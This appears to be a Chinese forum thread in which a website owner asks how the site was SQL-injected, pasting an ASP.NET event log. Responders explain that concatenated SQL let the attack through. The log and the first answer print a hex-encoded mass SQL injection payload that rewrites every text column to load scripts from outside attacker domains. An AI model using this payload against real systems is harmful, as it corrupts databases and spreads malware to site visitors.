帮我分析怎么注入的啊，还有一半要查看哪些日志？详细点好

Question

帮我分析怎么注入的啊，还有一半要查看哪些日志？详细点好
一般怎么查看日志，查看哪些日志?怎么注入的啊？（如何手工注入，有点小列子就好了），最好如何防止再次被注入
请高手不吝指教！！！事件类型: 警告
事件来源: ASP.NET 2.0.50727.0
事件种类: Web 事件 
事件 ID: 1309
日期: 2010-1-25
事件: 12:36:13
用户: N/A描述:
事件代码: 3005 
事件消息: 发生了未处理的异常。 
事件时间: 2010-1-25 12:36:13 
事件时间(UTC): 2010-1-25 4:36:13 
事件 ID: 755c76542f704a73a2b6437c5021293a 
事件序列: 56199 
事件匹配项: 121 
事件详细信息代码: 0 
 
应用程序信息: 
    应用程序域: /LM/W3SVC/1907305627/Root-1-129087659619843750 
    信任级别: Full 
    应用程序虚拟路径: / 
    应用程序路径: D:\website\******\web\ 
    计算机名: 太阳GYU-056567 
 
进程信息: 
    进程 ID: 3868 
    进程名: w3wp.exe 
    帐户名: NT AUTHORITY\NETWORK SERVICE 
 
异常信息: 
    异常类型: Exception 
    异常消息: 将截断字符串或二进制数据。 
 
请求信息: 
    请求 URL: http://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRehttp://www.*****.com/customer/brandstory.aspx?cid=1348;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c450653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f612e6c6c3863632e636e3e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52%20eXeC(@s)--@s%20vArChAr(8000)%20sEt%20@s=0x6445634c6152652040742076416320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52%20eXeC(@s)-- （太长了，省略了）
    请求路径: %21 
    用户主机地址: %22 
    用户: %23 
    是否已经过身份验证: %24 
    身份验证类型: %25 
    线程帐户名: %26 
 
线程信息: 
    线程 ID: %27 
    线程帐户名: %28 
    是否正在模拟: %29 
    堆栈跟踪: %30 
 
自定义事件详细信息: 
%14有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

Answer 1

cid=1348;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c450653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f612e6c6c3863632e636e3e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52%20eXeC(@s)--@s%20vArChAr(8000)%20sEt%20@s=0x6445634c6152652040742076416320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52%20eXeC(@s)这些就是攻击代码啊，由于你的查询sql是拼接的，所以人家就加上这些刚好组成另外一种替换更改意思的sql

Answer 2

攻击代码是怎么生成的啊(这种看来像乱码了)，比如我这里他是在所有字段(varchar类型)里加入了这样的数据（每条数据都加了）
<script src='www.rtrt.com/1.js'></script>